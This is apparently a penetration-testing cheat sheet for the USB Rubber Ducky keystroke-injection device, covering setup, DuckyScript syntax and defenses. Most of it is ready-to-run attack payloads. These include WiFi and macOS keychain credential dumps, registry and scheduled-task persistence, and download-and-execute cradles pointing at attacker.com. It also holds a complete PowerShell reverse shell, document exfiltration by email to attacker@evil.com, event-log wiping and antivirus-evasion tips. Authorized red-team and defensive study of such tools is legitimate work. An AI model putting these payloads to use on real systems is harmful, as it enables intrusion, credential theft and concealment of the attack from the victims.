USB Rubber Ducky Keystroke Injection Tool Cheat Sheet

Overview

The USB Rubber Ducky is a keystroke injection tool disguised as a generic flash drive. Created by Hak5, it appears as a keyboard to the target computer and can execute pre-programmed keystroke sequences at superhuman speeds. It's commonly used for penetration testing, social engineering assessments, and security demonstrations.

⚠️ Warning: This tool is intended for authorized penetration testing and security assessments only. Ensure you have proper authorization before using in any environment.

Hardware Overview

USB Rubber Ducky Specifications

• Processor: 60 MHz 32-bit processor
• Storage: MicroSD card (up to 32GB)
• Interface: USB 2.0
• Speed: 1000 words per minute injection rate
• Compatibility: Windows, Mac, Linux, Android
• Power: Bus-powered via USB

Required Components

• USB Rubber Ducky device
• MicroSD card (formatted as FAT or FAT32)
• Computer with internet access for payload development
• Target computer with USB port

Setup and Configuration

Initial Setup

# Format MicroSD card
# Windows: Use Disk Management or format command
format F: /FS:FAT32 /Q

# Linux: Use fdisk and mkfs
sudo fdisk /dev/sdX
sudo mkfs.fat -F32 /dev/sdX1

# macOS: Use Disk Utility or diskutil
diskutil eraseDisk FAT32 DUCKY /dev/diskX

Firmware Updates

# Download latest firmware from Hak5
# Flash firmware using DFU mode
# Hold button while plugging in to enter DFU mode

# Linux firmware flashing
sudo dfu-util -D firmware.bin

# Windows firmware flashing (use Hak5 Flash tool)
# Follow Hak5 documentation for firmware updates

File Structure

MicroSD Card Structure:
├── inject.bin (compiled payload)
├── config.txt (optional configuration)
└── payloads/ (source payload files)

DuckyScript Language

Basic Syntax

REM This is a comment
DELAY 1000
STRING Hello World
ENTER

Core Commands

Command	Description	Example
REM	Comment line	REM This is a comment
DELAY	Pause execution (ms)	DELAY 1000
STRING	Type text string	STRING Hello World
ENTER	Press Enter key	ENTER
TAB	Press Tab key	TAB
ESCAPE	Press Escape key	ESCAPE
SPACE	Press Space key	SPACE
REPEAT	Repeat last command	REPEAT 5

Modifier Keys

Command	Description
CTRL or CONTROL	Control key
ALT	Alt key
SHIFT	Shift key
GUI or WINDOWS	Windows/Cmd key
MENU or APP	Menu/Application key

Key Combinations

REM Ctrl+C (Copy)
CTRL c

REM Ctrl+Alt+Delete
CTRL ALT DELETE

REM Windows+R (Run dialog)
GUI r

REM Alt+Tab (Switch windows)
ALT TAB

REM Ctrl+Shift+Esc (Task Manager)
CTRL SHIFT ESCAPE

Payload Development

Basic Payload Structure

REM Author: Security Tester
REM Description: Basic Windows enumeration
REM Target: Windows 10/11

DELAY 2000
GUI r
DELAY 500
STRING cmd
ENTER
DELAY 1000
STRING whoami && hostname && ipconfig
ENTER
DELAY 2000
STRING exit
ENTER

Windows Payloads

System Information Gathering

REM Windows System Information
DELAY 2000
GUI r
DELAY 500
STRING powershell -WindowStyle Hidden
ENTER
DELAY 1000
STRING Get-ComputerInfo | Out-File C:\temp\sysinfo.txt
ENTER
DELAY 2000
STRING Get-Process | Out-File C:\temp\processes.txt -Append
ENTER
DELAY 2000
STRING Get-Service | Out-File C:\temp\services.txt -Append
ENTER
DELAY 2000
STRING exit
ENTER

Network Reconnaissance

REM Network Information Gathering
DELAY 2000
GUI r
DELAY 500
STRING cmd
ENTER
DELAY 1000
STRING ipconfig /all > C:\temp\network.txt
ENTER
DELAY 1000
STRING netstat -an >> C:\temp\network.txt
ENTER
DELAY 1000
STRING arp -a >> C:\temp\network.txt
ENTER
DELAY 1000
STRING route print >> C:\temp\network.txt
ENTER
DELAY 1000
STRING exit
ENTER

Credential Harvesting

REM WiFi Password Extraction
DELAY 2000
GUI r
DELAY 500
STRING cmd
ENTER
DELAY 1000
STRING netsh wlan show profiles
ENTER
DELAY 2000
STRING for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear
ENTER
DELAY 5000
STRING exit
ENTER

Persistence Mechanisms

REM Registry Persistence
DELAY 2000
GUI r
DELAY 500
STRING regedit
ENTER
DELAY 2000
CTRL f
DELAY 500
STRING HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
ENTER
DELAY 1000
ALT F4
DELAY 500
GUI r
DELAY 500
STRING cmd
ENTER
DELAY 1000
STRING reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityUpdate" /t REG_SZ /d "C:\Windows\System32\calc.exe"
ENTER
DELAY 1000
STRING exit
ENTER

macOS Payloads

System Information

REM macOS System Information
DELAY 2000
GUI SPACE
DELAY 500
STRING terminal
ENTER
DELAY 1000
STRING system_profiler SPHardwareDataType > ~/Desktop/sysinfo.txt
ENTER
DELAY 2000
STRING ps aux >> ~/Desktop/sysinfo.txt
ENTER
DELAY 2000
STRING netstat -an >> ~/Desktop/sysinfo.txt
ENTER
DELAY 2000
STRING exit
ENTER

Keychain Access

REM macOS Keychain Dump
DELAY 2000
GUI SPACE
DELAY 500
STRING terminal
ENTER
DELAY 1000
STRING security dump-keychain -d login.keychain > ~/Desktop/keychain.txt 2>&1
ENTER
DELAY 5000
STRING exit
ENTER

Linux Payloads

System Enumeration

REM Linux System Enumeration
DELAY 2000
CTRL ALT t
DELAY 1000
STRING uname -a > /tmp/sysinfo.txt
ENTER
DELAY 500
STRING cat /etc/passwd >> /tmp/sysinfo.txt
ENTER
DELAY 500
STRING ps aux >> /tmp/sysinfo.txt
ENTER
DELAY 500
STRING netstat -tulpn >> /tmp/sysinfo.txt
ENTER
DELAY 500
STRING exit
ENTER

Privilege Escalation Check

REM Linux Privilege Escalation Check
DELAY 2000
CTRL ALT t
DELAY 1000
STRING sudo -l > /tmp/privesc.txt
ENTER
DELAY 1000
STRING find / -perm -4000 2>/dev/null >> /tmp/privesc.txt
ENTER
DELAY 2000
STRING crontab -l >> /tmp/privesc.txt
ENTER
DELAY 1000
STRING exit
ENTER

Advanced Payloads

Multi-Stage Payloads

REM Multi-stage payload with download
DELAY 2000
GUI r
DELAY 500
STRING powershell -WindowStyle Hidden -ExecutionPolicy Bypass
ENTER
DELAY 1000
STRING IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/stage2.ps1')
ENTER
DELAY 5000
STRING exit
ENTER

Reverse Shell Payload

REM PowerShell Reverse Shell
DELAY 2000
GUI r
DELAY 500
STRING powershell -WindowStyle Hidden
ENTER
DELAY 1000
STRING $client = New-Object System.Net.Sockets.TCPClient('192.168.1.100',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
ENTER

Data Exfiltration

REM Data Exfiltration via Email
DELAY 2000
GUI r
DELAY 500
STRING powershell -WindowStyle Hidden
ENTER
DELAY 1000
STRING $files = Get-ChildItem C:\Users\$env:USERNAME\Documents -Recurse -Include *.txt,*.doc,*.pdf | Select-Object -First 10
ENTER
DELAY 1000
STRING foreach($file in $files) { $content = Get-Content $file.FullName -Raw; Send-MailMessage -To "attacker@evil.com" -From "victim@company.com" -Subject $file.Name -Body $content -SmtpServer "smtp.company.com" }
ENTER
DELAY 5000
STRING exit
ENTER

Anti-Forensics

REM Clear Event Logs
DELAY 2000
GUI r
DELAY 500
STRING powershell -WindowStyle Hidden
ENTER
DELAY 1000
STRING Get-EventLog -List | ForEach-Object { Clear-EventLog $_.Log }
ENTER
DELAY 2000
STRING Remove-Item $env:TEMP\* -Recurse -Force
ENTER
DELAY 2000
STRING exit
ENTER

Payload Compilation

Using DuckEncoder

# Download DuckEncoder
git clone https://github.com/hak5darren/USB-Rubber-Ducky.git
cd USB-Rubber-Ducky

# Compile payload
java -jar Encoder/encoder.jar -i payload.txt -o inject.bin

# Alternative online encoder
# Visit: https://ducktoolkit.com/encoder

Using Duck Toolkit

# Online compilation at ducktoolkit.com
# 1. Paste DuckyScript code
# 2. Select keyboard layout
# 3. Click "Encode Payload"
# 4. Download inject.bin file

Keyboard Layouts

# Common keyboard layouts
us          # US English
uk          # UK English
de          # German
fr          # French
es          # Spanish
it          # Italian
pt          # Portuguese
ru          # Russian

Deployment Strategies

Physical Access Scenarios

REM Quick deployment (30 seconds)
DELAY 2000
GUI r
DELAY 500
STRING cmd /c "powershell IEX (New-Object Net.WebClient).DownloadString('http://bit.ly/payload')"
ENTER

Social Engineering Integration

REM Disguised as software update
DELAY 3000
GUI r
DELAY 500
STRING notepad
ENTER
DELAY 1000
STRING Dear User,
ENTER
STRING 
ENTER
STRING A critical security update is being installed.
ENTER
STRING Please do not remove this device until complete.
ENTER
STRING 
ENTER
STRING Estimated time: 2-3 minutes
ENTER
DELAY 2000
ALT F4
DELAY 500
REM Execute actual payload here

Persistence Payloads

REM Scheduled Task Persistence
DELAY 2000
GUI r
DELAY 500
STRING cmd
ENTER
DELAY 1000
STRING schtasks /create /tn "SecurityUpdate" /tr "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Windows\Temp\update.ps1" /sc daily /st 09:00
ENTER
DELAY 1000
STRING exit
ENTER

Evasion Techniques

Anti-Virus Evasion

REM Obfuscated PowerShell
DELAY 2000
GUI r
DELAY 500
STRING powershell -WindowStyle Hidden -EncodedCommand <base64_encoded_command>
ENTER

Timing-Based Evasion

REM Random delays to avoid detection
DELAY 3000
GUI r
DELAY 800
STRING cmd
ENTER
DELAY 1200
STRING echo "Normal user activity"
ENTER
DELAY 2500
REM Execute payload with human-like timing

Process Hiding

REM Hide PowerShell window
DELAY 2000
GUI r
DELAY 500
STRING powershell -WindowStyle Hidden -NoProfile -NonInteractive
ENTER
DELAY 1000
STRING Start-Process powershell -ArgumentList "-WindowStyle Hidden -Command 'Your-Command-Here'" -WindowStyle Hidden
ENTER

Defensive Measures and Detection

USB Device Monitoring

# Monitor USB device insertions
Get-WinEvent -FilterHashtable @{LogName='System'; ID=20001,20003} | 
Where-Object {$_.Message -like "*USB*"}

# Registry monitoring for USB devices
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Enum\USBSTOR\*\*" | 
Select-Object FriendlyName, Mfg, Service

Keystroke Injection Detection

# Monitor for rapid keystroke patterns
# Look for superhuman typing speeds in logs
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4648,4624} | 
Where-Object {$_.TimeCreated -gt (Get-Date).AddMinutes(-5)}

# Monitor for suspicious command patterns
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; ID=4104} | 
Where-Object {$_.Message -like "*DownloadString*" -or $_.Message -like "*IEX*"}

USB Port Restrictions

REM Disable USB storage devices via Group Policy
REM Computer Configuration > Administrative Templates > System > Removable Storage Access

REM Registry method to disable USB storage
reg add "HKLM\SYSTEM\CurrentControlSet\Services\USBSTOR" /v Start /t REG_DWORD /d 4 /f

Countermeasures

Endpoint Protection

# Enable PowerShell logging
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name EnableScriptBlockLogging -Value 1

# Enable command line auditing
auditpol /set /subcategory:"Process Creation" /success:enable

# Monitor for suspicious processes
Get-Process | Where-Object {$_.ProcessName -like "*powershell*" -and $_.MainWindowTitle -eq ""}

Network Monitoring

# Monitor for suspicious network connections
netstat -an | grep ESTABLISHED | grep -E "(4444|8080|443)"

# DNS monitoring for suspicious domains
# Monitor DNS logs for newly registered domains or suspicious TLDs

User Education

Key indicators of USB Rubber Ducky attacks:
1. Unexpected keyboard activity
2. Rapid text entry beyond human capability
3. Command prompts appearing automatically
4. Suspicious network activity after USB insertion
5. New scheduled tasks or startup programs

Advanced Techniques

Payload Chaining

REM Stage 1: Initial access
DELAY 2000
GUI r
DELAY 500
STRING powershell -WindowStyle Hidden
ENTER
DELAY 1000
STRING Invoke-WebRequest -Uri "http://attacker.com/stage2.txt" -OutFile "$env:TEMP\s2.txt"
ENTER
DELAY 3000
STRING Get-Content "$env:TEMP\s2.txt" | Invoke-Expression
ENTER
DELAY 1000
STRING exit
ENTER

Environment Detection

REM Detect virtualized environment
DELAY 2000
GUI r
DELAY 500
STRING powershell -WindowStyle Hidden
ENTER
DELAY 1000
STRING if ((Get-WmiObject -Class Win32_ComputerSystem).Model -notlike "*Virtual*") { Your-Payload-Here }
ENTER
DELAY 2000
STRING exit
ENTER

Conditional Execution

REM Execute only on specific OS version
DELAY 2000
GUI r
DELAY 500
STRING powershell -WindowStyle Hidden
ENTER
DELAY 1000
STRING if ([Environment]::OSVersion.Version.Major -eq 10) { Your-Windows10-Payload }
ENTER
DELAY 2000
STRING exit
ENTER

Troubleshooting

Common Issues

Issue: Payload not executing
Solution: Check keyboard layout, verify inject.bin file

Issue: Commands typing incorrectly
Solution: Verify keyboard layout matches target system

Issue: Timing issues
Solution: Increase DELAY values for slower systems

Issue: Antivirus detection
Solution: Use obfuscation techniques, test on similar AV

Debugging Payloads

REM Debug payload with visible output
DELAY 2000
GUI r
DELAY 500
STRING notepad
ENTER
DELAY 1000
STRING Payload executed successfully
ENTER
STRING Current user: 
STRING %USERNAME%
ENTER
STRING Current time: 
STRING %TIME%
ENTER

Testing Environment

# Set up isolated testing environment
# Use virtual machines for payload development
# Test on multiple OS versions and configurations
# Verify payload behavior before deployment

Legal and Ethical Considerations

Authorized Use Only

• Obtain written permission before testing
• Use only in controlled environments
• Document all testing activities
• Follow responsible disclosure practices

Compliance Requirements

• Ensure compliance with local laws
• Follow organizational security policies
• Maintain chain of custody for evidence
• Protect sensitive information discovered

Resources

• Hak5 USB Rubber Ducky
• DuckyScript Documentation
• Duck Toolkit
• Payload Repository
• Hak5 Forums

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This cheat sheet provides a comprehensive reference for using the USB Rubber Ducky. Always ensure you have proper authorization before conducting physical security assessments.